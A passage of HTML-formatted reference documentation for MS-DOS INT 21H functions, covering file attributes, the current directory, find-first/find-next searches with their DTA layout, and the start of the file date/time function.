<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">al </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= 0 to get attributes, 1 to set them </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= File attributes, for set function </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to an ASCIIZ path/file name</span></div>
</td></tr>
<tr style="height: 51px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span></div>
</td><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: bottom;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= set if an error occurs </span></div>
<div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-right: 19.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code when an error occurs </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">= File attribute, for get function</span></div>
</td></tr>
</tbody></table>
</div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.3pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The file should not be open when you get/set attributes. The bits in</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> cl </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">correspond to the following attributes:</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 0 - Read Only attribute </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 1 - Hidden attrubute </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 2 - System attribute </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 3 - Volume Label attribute </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 4 - Subdirectory attribute </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 5 - Archive attribute</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 31.85pt; margin-left: 54.65pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Bit 6 and 7 - Not used</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 47H: Get Current Directory</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 47H </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 11.9pt; margin-left: 54.65pt; margin-right: 21.9pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">dl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Drive number, 0=Default, 1=A, 2=B, etc. </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:si</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to buffer to put directory path name in</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.95pt; margin-left: 54.6pt; margin-right: 85.85pt; margin-top: 0pt; text-align: justify; text-indent: -54.1pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = set if an error occurs </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code when an error occurs</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.7pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The path name is stored in the data area at </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:si</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> as an ASCIIZ null terminated string. This string may be up to 64 bytes long, so one should normally allocate that much space for this buffer.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.55pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 4EH: Find First File Search</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 4EH </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12pt; margin-left: 54.65pt; margin-right: 56.7pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">cl</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = File attribute to use in the search </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Pointer to an ASCIIZ path/file name</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = Error code when an error occurs, or 0 if no error</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.85pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The ASCIIZ string at </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ds:dx </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">may contain the wildcards * and ?. For example, “</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">c:\dos\*.com</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">” would be a valid string. This function will return with an error if it cannot find a file. No errors indicate that the search was successful. When successful, DOS formats a 43 byte block of data in the current DTA which is used both to identify the file found, and to pass to the Find Next function, to tell it where to continue the search from. The data in the DTA is formatted as follows:</span></div>
<div dir="ltr" style="line-height: 1.295; margin-bottom: 0.55pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Byte </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Size </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Description </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">21 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Reserved for DOS Find Next</span></div>
<ol start="21" style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: 'Times New Roman'; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 72px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">1 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Attribute of file found </span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: 'Times New Roman'; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: decimal; margin-left: 72px; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">2 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Time on file found </span></div>
</li>
</ol>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">24 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">2 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Date on file found </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">26 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">4 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Size of file found, in bytes </span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "calibri"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">30 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">13 </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">File name of file found</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 0.2pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The attribute is used in a strange way for this function. If any of the Hidden, System, or Directory attributes are set when Find Next is called, DOS will search for any normal file, as well as any with the specified attributes. Archive and Read Only attributes are ignored by the search altogether. If the Volume Label attribute is specified, the search will look only for files with that attribute set.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 10.4pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 4FH: Find Next File Search</span></h3>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 12.2pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Registers:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ah</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 4FH</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 13.15pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Returns:</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> = 0 if successful, otherwise an error code</span></div>
<div dir="ltr" style="line-height: 1.285; margin-bottom: 8.85pt; margin-left: 1pt; margin-top: 0pt; text-align: justify; text-indent: -0.5pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This function continues the search begun by Function 4E. It relies on the information in the DTA, which should not be disturbed between one call and the next. This function also modifies the DTA data block to reflect the next file found. In programming, one often uses this function in a loop until </span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ax</span><span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 13.333333333333332px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">=18, indicating the normal end of the search.</span></div>
<h3 dir="ltr" style="line-height: 1.25; margin-bottom: 0.2pt; margin-left: -0.25pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: "times new roman"; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Function 57H: Get/Set File Date and Time</span></h3>
<div dir="ltr" style="margin-left: 0pt;">
<table style="border-collapse: collapse; border: none;"><colgroup><col width="72"></col><col width="262"></col></colgroup><tbody>
<tr style="height: 97px;"><td style="border-bottom: solid #000000 0px; border-left: solid #000000 0px; border-right: solid #000000 0px; border-top: solid #000000 0px; padding: 0px 0px 0px 0px; vertical-align: top;"><div dir="ltr" style="line-height: 1.2; margin-bottom: 0pt; margin-top: 0pt;">
